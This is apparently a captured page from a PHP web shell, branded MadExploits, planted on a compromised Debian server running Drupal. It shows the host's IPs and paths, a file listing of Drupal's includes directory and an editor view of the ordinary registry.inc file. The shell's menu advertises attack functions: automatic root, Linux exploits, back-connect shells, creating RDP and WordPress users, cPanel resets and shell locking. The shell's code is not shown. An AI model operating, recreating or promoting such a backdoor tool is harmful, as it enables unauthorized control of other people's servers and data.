Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.226.214.1
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
database
[ DIR ]
drwxr-xr-x
filetransfer
[ DIR ]
drwxr-xr-x
actions.inc
13.49
KB
-rw-r--r--
ajax.inc
49.28
KB
-rw-r--r--
archiver.inc
1.66
KB
-rw-r--r--
authorize.inc
13.34
KB
-rw-r--r--
batch.inc
17.09
KB
-rw-r--r--
batch.queue.inc
2.26
KB
-rw-r--r--
bootstrap.inc
118.59
KB
-rw-r--r--
cache-install.inc
2.43
KB
-rw-r--r--
cache.inc
19.95
KB
-rw-r--r--
common.inc
303.4
KB
-rw-r--r--
date.inc
4.4
KB
-rw-r--r--
entity.inc
47.12
KB
-rw-r--r--
errors.inc
10.08
KB
-rw-r--r--
file.inc
88.53
KB
-rw-r--r--
file.mimetypes.inc
23.8
KB
-rw-r--r--
form.inc
194.91
KB
-rw-r--r--
graph.inc
4.71
KB
-rw-r--r--
image.inc
13.1
KB
-rw-r--r--
install.core.inc
77.61
KB
-rw-r--r--
install.inc
43.28
KB
-rw-r--r--
iso.inc
15.21
KB
-rw-r--r--
json-encode.inc
3.11
KB
-rw-r--r--
language.inc
19.02
KB
-rw-r--r--
locale.inc
82.36
KB
-rw-r--r--
lock.inc
9.2
KB
-rw-r--r--
mail.inc
22.69
KB
-rw-r--r--
menu.inc
137.14
KB
-rw-r--r--
module.inc
40.02
KB
-rw-r--r--
pager.inc
22.03
KB
-rw-r--r--
password.inc
9.3
KB
-rw-r--r--
path.inc
20.25
KB
-rw-r--r--
registry.inc
6.35
KB
-rw-r--r--
session.inc
17.93
KB
-rw-r--r--
stream_wrappers.inc
22.63
KB
-rw-r--r--
tablesort.inc
7.27
KB
-rw-r--r--
theme.inc
110.91
KB
-rw-r--r--
theme.maintenance.inc
6.9
KB
-rw-r--r--
token.inc
9.63
KB
-rw-r--r--
unicode.entities.inc
5.36
KB
-rw-r--r--
unicode.inc
22.22
KB
-rw-r--r--
update.inc
57.66
KB
-rw-r--r--
updater.inc
13.35
KB
-rw-r--r--
utility.inc
1.94
KB
-rw-r--r--
xmlrpc.inc
18.39
KB
-rw-r--r--
xmlrpcs.inc
11.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : registry.inc
<?php /** * @file * This file contains the code registry parser engine. */ /** * @defgroup registry Code registry * @{ * The code registry engine. * * Drupal maintains an internal registry of all interfaces or classes in the * system, allowing it to lazy-load code files as needed (reducing the amount * of code that must be parsed on each request). */ /** * Does the work for registry_update(). */ function _registry_update() { // The registry serves as a central autoloader for all classes, including // the database query builders. However, the registry rebuild process // requires write ability to the database, which means having access to the // query builders that require the registry in order to be loaded. That // causes a fatal race condition. Therefore we manually include the // appropriate query builders for the currently active database before the // registry rebuild process runs. $connection_info = Database::getConnectionInfo(); $driver = $connection_info['default']['driver']; require_once DRUPAL_ROOT . '/includes/database/query.inc'; require_once DRUPAL_ROOT . '/includes/database/select.inc'; require_once DRUPAL_ROOT . '/includes/database/' . $driver . '/query.inc'; // Get current list of modules and their files. $modules = db_query("SELECT * FROM {system} WHERE type = 'module'")->fetchAll(); // Get the list of files we are going to parse. $files = array(); foreach ($modules as &$module) { $module->info = unserialize($module->info); $dir = dirname($module->filename); // Store the module directory for use in hook_registry_files_alter(). $module->dir = $dir; if ($module->status) { // Add files for enabled modules to the registry. foreach ($module->info['files'] as $file) { $files["$dir/$file"] = array('module' => $module->name, 'weight' => $module->weight); } } } foreach (file_scan_directory('includes', '/\.inc$/') as $filename => $file) { $files["$filename"] = array('module' => '', 'weight' => 0); } $transaction = db_transaction(); try { // Allow modules to manually modify the list of files before the registry // parses them. The $modules array provides the .info file information, which // includes the list of files registered to each module. Any files in the // list can then be added to the list of files that the registry will parse, // or modify attributes of a file. drupal_alter('registry_files', $files, $modules); foreach (registry_get_parsed_files() as $filename => $file) { // Add the hash for those files we have already parsed. if (isset($files[$filename])) { $files[$filename]['hash'] = $file['hash']; } else { // Flush the registry of resources in files that are no longer on disc // or are in files that no installed modules require to be parsed. db_delete('registry') ->condition('filename', $filename) ->execute(); db_delete('registry_file') ->condition('filename', $filename) ->execute(); } } $parsed_files = _registry_parse_files($files); $unchanged_resources = array(); $lookup_cache = array(); if ($cache = cache_get('lookup_cache', 'cache_bootstrap')) { $lookup_cache = $cache->data; } foreach ($lookup_cache as $key => $file) { // If the file for this cached resource is carried over unchanged from // the last registry build, then we can safely re-cache it. if ($file && in_array($file, array_keys($files)) && !in_array($file, $parsed_files)) { $unchanged_resources[$key] = $file; } } module_implements('', FALSE, TRUE); _registry_check_code(REGISTRY_RESET_LOOKUP_CACHE); } catch (Exception $e) { $transaction->rollback(); watchdog_exception('registry', $e); throw $e; } // We have some unchanged resources, warm up the cache - no need to pay // for looking them up again. if (count($unchanged_resources) > 0) { cache_set('lookup_cache', $unchanged_resources, 'cache_bootstrap'); } } /** * Return the list of files in registry_file */ function registry_get_parsed_files() { $files = array(); // We want the result as a keyed array. $files = db_query("SELECT * FROM {registry_file}")->fetchAllAssoc('filename', PDO::FETCH_ASSOC); return $files; } /** * Parse all changed files and save their interface and class listings. * * Parse all files that have changed since the registry was last built, and save * their interface and class listings. * * @param $files * The list of files to check and parse. */ function _registry_parse_files($files) { $parsed_files = array(); foreach ($files as $filename => $file) { if (file_exists($filename)) { $hash = hash_file('sha256', $filename); if (empty($file['hash']) || $file['hash'] != $hash) { $file['hash'] = $hash; $parsed_files[$filename] = $file; } } } foreach ($parsed_files as $filename => $file) { _registry_parse_file($filename, file_get_contents($filename), $file['module'], $file['weight']); db_merge('registry_file') ->key(array('filename' => $filename)) ->fields(array( 'hash' => $file['hash'], )) ->execute(); } return array_keys($parsed_files); } /** * Parse a file and save its interface and class listings. * * @param $filename * Name of the file we are going to parse. * @param $contents * Contents of the file we are going to parse as a string. * @param $module * (optional) Name of the module this file belongs to. * @param $weight * (optional) Weight of the module. */ function _registry_parse_file($filename, $contents, $module = '', $weight = 0) { if (preg_match_all('/^\s*(?:abstract|final)?\s*(class|interface)\s+([a-zA-Z0-9_]+)/m', $contents, $matches)) { foreach ($matches[2] as $key => $name) { db_merge('registry') ->key(array( 'name' => $name, 'type' => $matches[1][$key], )) ->fields(array( 'filename' => $filename, 'module' => $module, 'weight' => $weight, )) ->execute(); } // Delete any resources for this file where the name is not in the list // we just merged in. db_delete('registry') ->condition('filename', $filename) ->condition('name', $matches[2], 'NOT IN') ->execute(); } } /** * @} End of "defgroup registry". */
Close